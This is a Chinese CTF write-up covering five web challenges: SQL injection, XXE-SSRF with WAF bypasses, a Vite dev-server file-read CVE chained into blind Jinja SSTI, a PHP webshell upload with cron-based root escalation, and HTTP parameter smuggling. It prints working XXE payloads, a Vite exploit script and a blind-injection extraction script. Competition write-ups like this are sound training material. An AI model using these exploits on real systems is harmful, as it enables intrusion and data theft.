TSCTF-J 2026 Web 五题 WriteUp

Web 方向五题复盘

Posted by Miso on October 21, 2026

0. 前言

这篇是 TSCTF-J 2026 的 Web 方向复盘,我做出了五道 web 方向题目。

题目 名次 方向
好想玩原神 二血 SQL 注入
MinePortrait 一血 XXE-SSRF
BandInvite 三血 SSTI
玛德莱娜小蛋糕 一血 图片马提权
客服小祥为您服务 第五 HTTP 理论

任何Agent生成的文本均会以斜体进行标注。全文仅部分表格、部分payload及部分脚本为Agent生成,全文正文文本为手写。

可能有些啰嗦()

Sonetto敬上。

好想玩原神 二血

TLDR:是签到题,谢谢师傅手下留情。有回显联合查询注入。

随便输入一个用户密码直接给我干原神7.1官网去了。看首页源代码发现有一系列用户名,密码。输入之后可以查询到用户信息。

判断闭合形式

加入一个单引号爆了OperationalError,确认存在SQL注入点。又尝试加双引号又给我干原神7.1去了,说明这是一个单引号型注入点。

BTW,SQLmap根本梭不出来!

下一步一般是用注释来在后单引号与注释之间建立SQL命令区,但是这道题几种注释都会被WAF拦截,遂放弃。只能祈祷password后方不要有什么杂七杂八的东西。

那原有的后引号就要另想办法处理了。我的方案是使用+‘来组成空字符串并缀加到字面量后方。

爆列数取得回显渠道

进行联合查询爆列数:

四列确认。为了简单起见把用户名改成必错的,只回显union后面的四个字面量。

判断数据库类型并查询元数据表

然后我尝试了version()没出来?跑去上网查了查之后知道这很有可能指向Sqlite。换用sqlite_version()之后成功了。

在sqlite下我们需要查询元数据表(select group_concat(name) from sqlite_master)。

sqlite爆列名需要查询建表语句,只需查master的sql列。

列名flag_value

结束。

MinePortrait 一血

TLDR:XXE-SSRF,但是针对DTD的核心关键字有严格的WAF

信息搜索与登录

尝试直接登录显示Invalid workshop badge.另寻思路。

先做dirsearch,发现/robots.txt与/www.zip两个端点

而/robots.txt是对/www.zip的确认

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# leaked login source

USERNAME = "m0rnis"

PASSWORD = "passw0rd"

  

def check_login(username, password):

    if username == USERNAME and password == PASSWORD:

        return True

    return False

源码如此。Mornis师傅,如果您看到这份WP,Sonetto向您问好。Web、全栈和其它方向所有师傅们,Sonetto向你们都问好。

登录进去之后发现前端展示出了后端端点POST /convert,形参名为source_format target_format和image。一并发现大量前端代码。令Claude code进行代码审计,发现如下:

AI生成的代码审计分析

也就是几乎所有的图片转换组合实质上都是走前端的,不能带来有效信息,只有SVG转换到PNG这一种组合会提交到后端。而SVG的本质是XML。

doctype entity SYSTEM,这是一个非常典型的XXE XML外部实体注入题目提示。并且根据Old note的提示,应该是要做XXE-SSRF。

1
2
3
4
5
6
7
8
9
10
11
# old_note.txt
# Pelican Town workshop internal notes
#
# private media helper:
#   service = 127.0.0.1
#   route = /fetch.php
#   query = url
# flag in flag.txt
# The media helper is only reachable from the workshop network.
# It was kept for legacy artwork imports used by older portrait tools.

与XML WAF和执行器斗智斗勇

挂了webhook侦听,发送了几种不同的XML之后基本确认目标不出网。(这句话是早上边打边写的,当时并未意识到因为DTD的原因整个XML根本就是被拦截了——10.9/17:13)

测试了一些XML,发现<text>标签内的文本会被渲染出来。这是一个有回显的XXE。 接着测试了各种XXE payload,发现后端会ban掉含有<!DOCTYPE/<!ENTITY的XML,DTD传入遇到困难。

此时我启动了我万恶的Claude Code开始猛攻。在花费了一个早上之后DeepSeek V4.1 flash基本上可以确定挂了。于是在下午四点我启动Open Code,接入非常优秀的网安模型GLM 5.3继续尝试,最终成功得到payload。

跟Agent的一点讨论

在解题结束后我整理了它的思路,并再次探讨了更多解题payload,下面会尽可能清晰地讲出我们的结果。

探测WAF

我们定义两个服务端所固定返回的图片。BLOCKED是触发了WAF之后显示的祝尼魔文案,CANNED是未提取到文字时的一句套话回复,其md5哈希如下表所示。在接下来的大规模LLM生成payload测试中两张图将会为我们快速带回服务器的信息。

基线 md5 含义
BLOCKED 6f1d5bea1d84597f7f30143fd523d21e 拦截图(Junimos 文案)
CANNED b6d290f3ddf521610527cbaa0b933681 兜底图(Portrait conversion completed.)

以上表格为Agent生成

首先我们开展一系列测试专注于测定WAF的行为。表中的pass表示未触发WAF的拦截。

片段 结果
<!DOCTYPE svg> BLOCKED
<!doctype svg> BLOCKED
<!DoCtYpE svg> BLOCKED
<! DOCTYPE svg>(空格) pass
<!-- <!DOCTYPE svg> --> pass(注释被剥)
<!-- <!DOCTYPE svg>(未闭合) BLOCKED
<![CDATA[ <!DOCTYPE svg ]]> BLOCKED
<!-- <!-- <!DOCTYPE svg> --> --> pass(非贪婪剥到第一个 -->)
<!--a--><!DOCTYPE svg><!--b--> BLOCKED
SYSTEM "http://x/" / SYSTEM 'http://x/' / SYSTEM http://x/ pass ×3
<!DOCTYPE BLOCKED
<!ENTITY BLOCKED
<!doctype / <!DoCtYpE BLOCKED(大小写不敏感)
<!DOCTYPEE BLOCKED(子串匹配,无词边界)
x<!DOCTYPEx BLOCKED(不要求行首)
<!DOCTYP pass
<! DOCTYPE(1 空格) pass
<!  DOCTYPE(2 空格) pass
<!<TAB>DOCTYPE pass
<!<LF>DOCTYPE pass
<!DOCTYPE<LF> BLOCKED(关键字后紧邻换行不影响)
<! ENTITY pass
SYSTEM " pass
<!-- <!DOCTYPE --> pass
<!-- <!-- <!DOCTYPE --> --> pass

以上表格中的测试用例及结果均为Agent生成与整理

由以上大规模测试我们可以得出结论:WAF拦截两个连续子串<!DOCTYPE 与 <!ENTITY,大小写不敏感。并且还可以注意到<!与关键字之间出现空白可以绕过WAF。在检查前,WAF会非贪婪地移除所有<!--和--> 之间的内容。这两点非常重要。我们最终给出的两种形式的Payload是以这两点为基础的。

探测执行器

紧接着我们测试执行器的逻辑。一点简单的前期测试就能知道执行器渲染XML中text标签之间的内容。

输入(无 DTD) 回显
&amp; ?amp?
&lt; ?lt?
&#65; ?65?
A & B ; C A ? B ? C

很怪,一些内置实体执行器不解析。紧接着我们做了针对DTD的控制变量解析。

# DTD <text> 回显 说明
P1 <! DOCTYPE svg [<! ENTITY xxe SYSTEM "http://127.0.0.1/ALPHA">]> F:&xxe; F:Remote media URL rejected: http://127.0.0.1/ALPHA 标记 ALPHA 出现在回显里
P2 同上,仅 URL 换成 …/BETA F:&xxe; F:Remote media URL rejected: http://127.0.0.1/BETA 标记跟随声明发生变化
C1 同 P1,<text> 不引用实体 F: F: 不引用则标记不出现
C2 <! DOCTYPE svg []>(无 ENTITY 声明) F:&xxe; F:?xxe? 无声明则不出现任何东西
C3 完全无 DTD F:&xxe; F:?xxe?(与 C2 同图) 同上

以上表格中的测试用例及结果均为Agent生成或整理

发现能绕过WAF的 <! DOCTYPE 加空格写法可以被解析器处理到。 这是一个非常重要的成果。执行器可能并不是XML解析器,或者说不是一个非常标准的XML解析器。由上表可见XML内建实体执行器不会进行解析。并且在XML规范中不允许的<! DOCTYPE加空格写法它可以进行渲染。

这跟我自己知道的XML知识和Agent知道的XML知识有所不同,所以一直卡在这里。

依旧DS网页端确认信息

最终结论

综上,我们可以给出三种WAF绕过payload:

第一种是我们刚才一路讨论下来的加空格绕过。是我(人类思维 @ 双手和键盘)提出。基于执行器的宽松性。

1
<! DOCTYPE svg [<! ENTITY xxe SYSTEM "URL">]><svg xmlns="http://www.w3.org/2000/svg" width="800" height="200"><text x="10" y="100" font-size="24">FLAG:&xxe;</text></svg>

第二种是最早拿到flag的Agent给出的PI伪注释。是Agent(GLM5.3 @ OpenCode)提出。基于WAF的注释剥离行为。当时Agent认为执行器是XML解析器。这是一个相当强大的payload,可以应对比本题更加严格的后端。

1
<?p <!--?><!DOCTYPE svg [<!ENTITY xxe SYSTEM "URL">]><!----><svg xmlns="http://www.w3.org/2000/svg" width="800" height="200"><text x="10" y="100" font-size="24">FLAG:&xxe;</text></svg>

第三种是对第二种的简化。由我提出。因为我们可以注意到那个执行器好像根本不是XML解析器,直接抛弃掉PI伪注释。

1
<!--<!DOCTYPE svg [<!ENTITY xxe SYSTEM "URL">]>--><svg xmlns="http://www.w3.org/2000/svg" width="800" height="200"><text x="10" y="100" font-size="24">FLAG:&xxe;</text></svg>

在填充正确URL后,三种payload均可以获取flag。

URL的回环地址字面量绕过

按师傅们给出的hint,让Agent使用filter伪协议,并要求其阅读Old note。建立了如下URL:

1
http://127.0.0.1/fetch.php?url=php://filter/convert.base64-encode/resource=/flag.txt

图像回显如下:

1
Remote media URL rejected: http://127.0.0.1/fetch.php?url=php://filter/convert.base64-encode/resource=/flag.txt

这个返回文本和师傅们提出的 “祝尼魔们会拦下不少本机地址,却会收下用filter包好的信。” 有很大关联。此时我非常确定失败原因是127.0.0.1这个地址字面量。绕过的方法我们选择了十进制绕过,使用http://2130706433/。

如图。Agent的各种尝试

我想哭了真的,这道题做了差不多六个小时。base64解开即得flag。

BandInvite 三血

TLDR:Vite Dev的CVE,一系列HTTP探索题型的精华,SSTI布尔盲注

信息搜集

先进行dirsearch

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
[19:39:01] 200 -   302B - /.flac
[19:39:01] 200 -   301B - /.gif
[19:39:03] 200 -   301B - /.ico
[19:39:03] 200 -   302B - /.jpeg
[19:39:03] 200 -   301B - /.jpg
[19:39:04] 200 -   301B - /.mp3
[19:39:05] 200 -   301B - /.PDF
[19:39:05] 200 -   301B - /.pdf
[19:39:05] 200 -   301B - /.png
[19:39:27] 404 -   133B - /api
[19:39:27] 404 -   133B - /api-doc
[19:39:27] 404 -   133B - /api-docs
[19:39:27] 404 -   133B - /api.json
[19:39:27] 404 -   133B - /api.log
[19:39:27] 404 -   133B - /api.php
[19:39:27] 404 -   133B - /api.py
[19:39:40] 403 -   438B - /Dockerfile
[19:39:43] 404 -     0B - /favicon.ico
[19:39:58] 400 -     0B - /Office/graph.php#xxe
[19:39:59] 200 -    2KB - /package
[19:39:59] 200 -   27KB - /package-lock.json
[19:39:59] 200 -   276B - /package.json

阅读/package.json

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
  "name": "starry-backstage-frontend",
  "private": true,
  "version": "0.4.2-dev",
  "type": "module",
  "scripts": {
    "dev": "vite --host 0.0.0.0",
    "preview": "vite preview --host 0.0.0.0"
  },
  "dependencies": {
    "vite": "8.0.4"
  },
  "devDependencies": {}
}

可以发现项目使用了vite开发服务器8.0.4版本。结合题干中提到的“但目前还处于开发测试阶段”,猜想vite会是攻击的重点。

前端源码同时暴露了核心js位置。是Vite工程的默认位置。

Vite8.0.4、CVE、以及任意文件读取

向网页端DeepSeek询问Vite CVE信息

这里跑去问DS网页版是因为它的网络搜索比较顺滑。发现了该vite版本的任意文件读取漏洞。直接让DS网页端写出利用脚本,再让DeepSeek V4.1 flash @ Claude Code略作修改确认可用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/env python3  
"""CVE-2026-39363: Vite dev server 任意文件读(CTF / 授权测试用)。  
  
HMR WebSocket 上的 vite:invoke -> fetchModule 不套 server.fs 检查,  
file:// + ?raw 即可读 Vite 进程可及范围内的任意文件(HTTP 面 403/404 的都能读)。  
  
要点:  
- suppress_origin=True 不发 Origin 头 -> 服务端连 token/Host 都不校验,直接可用。  
- data 必须是**位置参数数组**;响应 id = 发送 id 把 "send" 换成 "response"。  
- 返回的是模块串 export default "...",取出中间那段 JSON 字符串即可还原原文。  
"""  
  
import json  
import ssl  
  
import websocket  
  
TARGET = "52796a376d7a6c41555847426b5351696c434e6a73-p5173.chal.buptmerak.cn"  
FILE = "/app/frontend/src/main.js"  # ← 想读哪个文件改这里(注意是**文件系统**路径,不是 URL 路径)  
  
ws = websocket.create_connection(  
    f"wss://{TARGET}/",  
    subprotocols=["vite-hmr"],  
    suppress_origin=True,  # 关键:不发 Origin  
    timeout=15,  
    sslopt={"cert_reqs": ssl.CERT_NONE},  
)  
ws.recv()  # 首帧 {"type":"connected"},丢掉  
  
ws.send(json.dumps({  
    "type": "custom",  
    "event": "vite:invoke",  
    "data": {"name": "fetchModule", "id": "send:t1", "data": [f"file://{FILE}?raw"]},  
}))  
  
while True:  # HMR 会夹带其它事件,按 id 挑出自己的响应  
    msg = json.loads(ws.recv())  
    data = msg.get("data") or {}  
    if msg.get("event") != "vite:invoke" or data.get("id") != "response:t1":  
        continue  
    inner = data.get("data") or {}  
    if "error" in inner:  
        print("[-]", inner["error"].get("message"))  
    else:  
        code = inner["result"]["code"]  
        print(json.loads(code[code.index('"'):code.rindex('"') + 1]))  
    break  
  
ws.close()

脚本为AI生成

由于比赛时间略显匆忙,憾未能深入了解该CVE和脚本的内部机理,仅能简单叙述如下:server.fs.strict / allow / deny 控制的/@fs文件系统可读范围出于某种原因没有对通过 HMR 自定义事件vite:invoke的 fetchModule生效,导致我们可以通过wss读取任意文件。

在AI的指导下我们读取vite的重要文件/app/frontend/vite.config.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import { defineConfig } from "vite";
import path from "node:path";

export default defineConfig({
  esbuild: {
    minify: true,
    sourcemap: false
  },
  plugins: [
    {
      name: "limit-fs-endpoint",
      enforce: "pre",
      configureServer(server) {
        server.middlewares.use((req, res, next) => {
          let pathname;
          try {
            pathname = decodeURIComponent(new URL(req.url, "http://vite.local").pathname);
          } catch {
            res.statusCode = 400;
            res.end();
            return;
          }

          if (!pathname.startsWith("/@fs/")) return next();

          const requestedFile = path.resolve(pathname.slice("/@fs/".length));
          if (requestedFile === path.resolve(__dirname, "package.json")) return next();

          res.statusCode = 404;
          res.end();
        });
      }
    }
  ],
  server: {
    host: "0.0.0.0",
    port: 5173,
    strictPort: true,
    // 反代会在 Host 头里带上外部域名,Vite 6+ 默认只接受本地 Host,这里放开。
    // 收紧成 allowedHosts: [".chal.buptmerak.cn"] 也可以,但平台换域名时会 403。
    allowedHosts: true,
    proxy: {
      "/api": {
        // 开发时指向 compose 的服务名,部署时由环境变量覆盖
        target: process.env.BACKEND_ORIGIN || "http://backend:5000",
        changeOrigin: true
      }
    },
    fs: {
      strict: true,
      allow: [
        path.resolve(__dirname),
        path.resolve(__dirname, "src"),
        path.resolve(__dirname, "public")
      ],
      deny: [
        ".env",
        ".env.*",
        "*.pem",
        "*.key",
        "*.crt",
        "**/vite.config.*",
        "**/Dockerfile*"
      ]
    }
  }
});

我说这个deny项里的每一个都是个尤物啊。可惜实际读了之后基本上一点用没有。我们回到注册登录流程。

重走注册登录 我说这个部分作为HTTP探索的题也是不简单的

登进去之后在“后台操作记录”这个界面有很大的发现。这里暗示了一个/run/starry的交接区和交接单dispatch-note.txt。稍微头脑风暴了一下,你说交接单是不是应该放在交接区里呢?还真是

我们需要先 GET roster端点,再 POST claim端点。保持同一会话。为简单见,我直接挂在注册登录那个会话后面了。

这里claim报了404。问了问AI,说那个省略号省掉了claim这个动词。

上面的论述我并未看懂一点,我只能说这个省略号补上claim是它猜出来的

然后我们就被提权为admin了!

login那里显示admin是因为我多跑了几次

下一步是提示我们去preview。我完全不知道这个preview在哪,但是它后半句很像一个JS的语句(也可能是python吧)。总之我跑去研读了/src/main.js。

——(最后证明是Python。我真傻,真的。10.9/23:05)

AI帮我补上了路径前缀/app/frontend。sorry我对vite真不太熟

真被我搜到了preview相关函数。扒下来如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
async function submitPreview(event) {
  event.preventDefault();
  const form = new FormData(event.currentTarget);
  const result = document.querySelector("#preview-result");
  result.textContent = "Submitting...";
  const response = await apiFetch("/preview", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({
      template_name: form.get("noticeType"),
      receiver: form.get("receiver"),
      subject: form.get("subject"),
      variables: {
        live_title: "Kessoku Band Night",
        date: "2026-07-27",
        venue: "STARRY B1",
        budget: "42600"
      },
      draft: form.get("draft")
    })
  });
  const data = await response.json().catch(() => ({}));
  if (!response.ok) {
    result.textContent = data.error || "Preview rejected";
    return;
  }
  jobs.unshift(data);
  result.textContent = `Preview job ${data.id} accepted`;
}

而preview这个功能的意图在templatesView里面有所提及。

1
2
3
4
5
6
7
8
9
10
11
function templatesView() {
  return `
    <section class="panel wide">
      <div class="panel-head">
        <div>
          <h3>Notice Preview Lab</h3>
          <p>正式发送前检查公告排版、收件对象和归档状态。预览正文只进入后台归档。</p>
        </div>
        <span class="badge">internal</span>
      </div>
      ...

而templates这个词很容易让人浮想联翩。好巧不巧信息搜集的时候出现了响应头server: Werkzeug/3.1.9 Python/3.12.15。我的焚靖已经蠢蠢欲动了。

SSTI 报错的布尔盲注

开Agent准备一把梭。依旧 DeepSeek V4.1 flash @ Claude Code。js代码已经能看出/preview的传参方式了。

第一个问题是服务端回报403 {“error”:”dispatch ticket required”},我们尝试了不同的ticket传参方案:

AI对ticket的传参位置尝试

确认了是”variables”: {“ticket”: TICKET}二级键传参。

Agent回报了WAF的存在,于是我们做了一点控制变量的测定。

AI对WAF的尝试

WAF是连续字符串正则匹配。由于flag这个敏感词都是在字符串双引号里面的,我们切断再连接即可。(我头一回直到Jinja可以用~做字符串连接)但是情况比我们想象的还要糟糕,这个SSTI是个byd盲注。幸而1/0的报错盲注是有用的,不然要搞时间盲注我就直接跳下去。

一并测定了press_kit.attachment这个函数到底是什么。我到现在才知道原来这是个python函数。这个函数是我们读取后端文件的重要方式,省的lipsum.中间忘了.popen().read()了

根目录下的/flag被发现。

继续推进Agent的一把梭。撰写脚本,二分查找,进行盲注。

大小(时间/布尔)盲注的脚本实质上是非常相似的,由以下几个部分组成,前置处理件,一个oracle(expr: str)-> bool,求长度的二分查找框架,以及逐字符二分框架。我的Agent写出了这四个部分。下面将逐部分进行讲解。

以下脚本均为AI生成,文字讲解为手写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
BASE = "https://32724e55503778756e626e6e637a4b576850774873-p5173.chal.buptmerak.cn"  
TICKET = "handoff-9c2e7b41"  
PATH = "'/fl'~'ag'"  # == "/flag", 绕过 WAF  
  
s = requests.Session()  
s.verify = False  
  
# 1. 注册登录 -> 2. 先看 roster, 再接手交接班 -> admin  
u = "op" + "".join(random.choices(string.ascii_lowercase, k=6))  
s.post(f"{BASE}/api/register", json={"username": u, "password": u})  
s.post(f"{BASE}/api/login", json={"username": u, "password": u})  
s.get(f"{BASE}/api/dispatch/roster", params={"ticket": TICKET})  
r = s.post(f"{BASE}/api/dispatch/shift-0727/claim", params={"ticket": TICKET})  
assert r.json()["role"] == "admin", r.text  
print(f"[+] {u} 已提权为 admin")  
  
A = f"press_kit.attachment({PATH},'{TICKET}')"  # 读文件表达式

前置处理件完成了提权流程、封装了读文件的表达式A,并留下了提权后的会话s。

1
2
3
4
5
6
7
8
9
10
11
def oracle(expr):  
    """expr 为真 => 渲染报错 status=failed; 为假 => archived"""  
    body = {  
        "template_name": "custom_stage_notice",  
        "receiver": "R", "subject": "S",  
        "variables": {"live_title": "t", "date": "d", "venue": "v",  
                      "budget": "0", "ticket": TICKET},  
        "draft": "{{ 1/0 if " + expr + " else 0 }}",  
    }    r = s.post(f"{BASE}/api/preview", json=body)  
    assert r.status_code == 202, r.status_code  # 400 = 被 WAF 拦  
    return r.json()["status"] == "failed"

这是在读取了/src/main.js看到后端传参方式之后写出的oracle。我认为这里的oracle有着非常不错的结构,就是在提取出布尔值r.json()["status"] == "failed"之前做了关于WAF的断言,把WAF的拦截作为错误直接抛出,使得脚本使用者可以尽早发现WAF造成的影响。

1
2
3
4
5
6
7
8
9
n = 1  
while oracle(f"{A}|length > {n}"):  
    n *= 2  
lo, hi = n // 2, n  
while lo + 1 < hi:  
    mid = (lo + hi) // 2  
    lo, hi = (mid, hi) if oracle(f"{A}|length > {mid}") else (lo, mid)  
n = hi  
print(f"[+] 长度: {n}")
这是一个长度上限倍乘之后叠加二分查找。把 oracle 调用次数从线性 O(L) 降为对数 O(log L)。快速求出flag的长度。注意到我们使用jinja2那个 length过滤器。
1
2
3
4
5
6
7
8
9
10
11
12
flag = ""  
for i in range(n):  
    lo, hi = 31, 127  
    while lo < hi:  
        mid = (lo + hi) // 2  
        if oracle(f"{A}[{i}] <= {json.dumps(chr(mid))}"):  
            hi = mid  
        else:  
            lo = mid + 1  
    flag += chr(lo)  
    print("\r[+] " + flag, end="", flush=True)  
print(f"\n[=] {flag.strip()}")

这是最后一个部分。在可打印字符中二分寻找每一项的字符。

结束了。

玛德莱娜小蛋糕 一血

TLDR:图片马上传和cron提权。本题与2025TSCTF 争渡一脉相承。

一句话木马上传

通过表单可以知道上传端点。显然是GIF图片上传PHP一句话木马RCE。

直接速查我那可爱的笔记。在html源码可以读到files的顶层键名是photo,踩了小坑。

说闻到了太浓的php味道。这个时候我想可能是<?php标签的问题。换为短标签做短标签绕过。

新的报错针对了我的.php后缀名。

结果还是不行。给我整急眼了启动DeepSeek网页端。

.phtml可行,万幸。

之后按一般解题流程我们需要确定上传位置。很好,已经直接向我们回显展示出来了。小缺憾是随机文件名,幸而后缀没改。

然后兴致勃勃地研究命令执行的时候发现马被删了!我可算知道为什么题干贴一段追忆似水流年了。啊,追忆似水流年。我是在大仲马先生的美食词典中了解到玛德莱娜小蛋糕的。

启动Claude Code,写脚本提取最新木马名称。如您所见加了上方两行。这样方便我每次跑命令的时候不需要额外跑一次。

上方白圈内容及27行部分内容为AI生成

提权

id显示我们是www-data。ls一下根目录发现flag。但是cat /flag什么都没有,这个时候我们要开始研究提权的问题了。

试了一下sudo -l(25年争渡的提权方案)没反应,再看ls / -la

果然flag什么权限都没有,但是出现了/entrypoint.sh。读一读。读取sh的任务我交给AI了。

Claude Code在/entrypoint.sh中发现了正解。

这里我们需要以列 cron的方式来进行提权。结合前面观察到的定时删马行为,这个cron定时任务应该就是追忆似水流年的含义。在AI的指导下我读取ls -la /etc/cron.d/和cat /etc/crontab,在前者的回显中有发现。

发现了teahouse-cleanup任务。

内容如上。每分钟执行一次。阅读该脚本内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/bin/bash
set -u

UPLOAD_DIR="/var/www/html/storage/tmp"
PROFILE_FILE="/var/lib/teahouse/cleanup.conf"

if [ ! -d "$UPLOAD_DIR" ]; then
    exit 0
fi

if [ -f "$PROFILE_FILE" ]; then
    source "$PROFILE_FILE"
fi

# The teahouse keeps albums tidy by sweeping oversized or stale temporary desserts.
find "$UPLOAD_DIR" -type f -size +"${MAX_UPLOAD_SIZE:-1M}" -delete
find "$UPLOAD_DIR" -type f -mmin +"${UPLOAD_TTL_MINUTES:-3}" -delete

发现/var/lib/teahouse/cleanup.conf被执行。继续阅读。文件内容平平无奇,但是这个文件的权限很特殊。

我们是属主,并且有写权限。也就是说我们可以修改这个文件的内容,而这个文件到头来被以root执行。

写入转移flag命令cat /flag > /var/www/html/gotflag.txt然后确认了一下。如上图代码片段所示。

等待一分钟,就能读取flag。如上图最后两行代码所示。

结束了。

客服小祥为您服务 第五解

TLDR:本题我的AI含量奇高无比。超高难的HTTP理论。

大致在浏览器中探索题目,发现两个有效端点,网关接口备忘和捕获请求。其中网关接口备忘记录了我们所需要唯一攻击的后端端点,而捕获请求记录了传参方式。

1
2
3
4
5
6
7
{
  "message": "Captured signed dispatch from the legacy Java client.",
  "body": "{\"op\":\"preview\",\"Op\":\"publish\",\"ticket\":\"CM-9974\",\"tool\":\"read_note\",\"arguments\":{\"tenant\":\"vault-38cad4\",\"note\":\"release-fe670b\",\"format\":\"summary\"},\"meta\":{\"client\":\"legacy-java-sdk\",\"schema\":\"2026-10\",\"instance\":\"1733ba28\"}}",
  "signature": "sha256=1bf75f1eaf0828cf753442f6735db5c069a925f270004e514c9b00fad5e0a5b7",
  "event_id": "evt-preview-6c04fff5",
  "note": "旧日志中间件只保留了请求体、签名字段与事件编号;方法与请求头字段见工作台内的网关接口备忘。"
}

展开观看请求体部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
  "op": "preview",
  "Op": "publish",
  "ticket": "CM-9974",
  "tool": "read_note",
  "arguments": {
    "tenant": "vault-38cad4",
    "note": "release-fe670b",
    "format": "summary"
  },
  "meta": {
    "client": "legacy-java-sdk",
    "schema": "2026-10",
    "instance": "1733ba28"
  }
}

我们先用requests,按备忘的说法,填充四个请求头,发送一次请求体给后端需要我们攻击的端点POST /api/v1/gateway/dispatch。

稍微踩了坑,就是data是绝对不能转为python字典然后通过json传参进行post的,否则签名就会失效。这个时候我意识到服务器对body有严格的校验,body不能进行任何修改。我们的修改只能集中在param(query)和请求头。

X-Signature的值来自于捕获的signature字段。X-Event-Id的值来自于捕获的event_id字段。X-Tenant的值来自于备忘里的公共租户固定为public。

我们仔细观看服务器给我们返回的响应头和响应体。响应头里有X-compat-receipt回执,下一次请求要使用。

这是一个preview预览阶段的业务流程。按照备忘,下一次请求应当进入commit交接阶段。

我们在这一阶段遇到困难。启动Agent fuzz了一下。依旧是WAF-执行器的结构。

AI总结的校验层-业务层要求。下文图片若无特殊说明,均为AI生成 解释文本为手写

校验层我们测试是必须出现一次完整的phase=preview,且phase不能出现两次。这里我们可以通过对另一个phase进行URL编码来进行绕过。“同一段 query,在不同客户端上发出去的字节不一样,网关只兼容了其中一部分。”这在备忘中有所提及。

X-Tenant对于校验层(极有可能是取首个值)必须取值public,而对于业务层,极有可能是取第一个非public值,必须取值vault-38cad4。这个值从捕获的请求体中得到的。

X-Event-Id受业务层检验,不能沿用已有事件的编号。这一点是从备忘中看出来的。“第二阶段提交时,不带上一阶段的回执、或沿用上一次的事件编号,都会被直接拒绝。”我们一并可知需要带上X-Compat-Receipt回执。

综上所述,两个phase=preview和=commit,双写的X-Tenant,随便新做的X-Event-Id,带上X-Compat-Receipt,我们将一发入魂。

这一棒挥不出去的话,夏天就结束了。

脚本AI写的 没有沿用第一次的requests而是用了更加底层的库是想要避免requests的转义

结束了。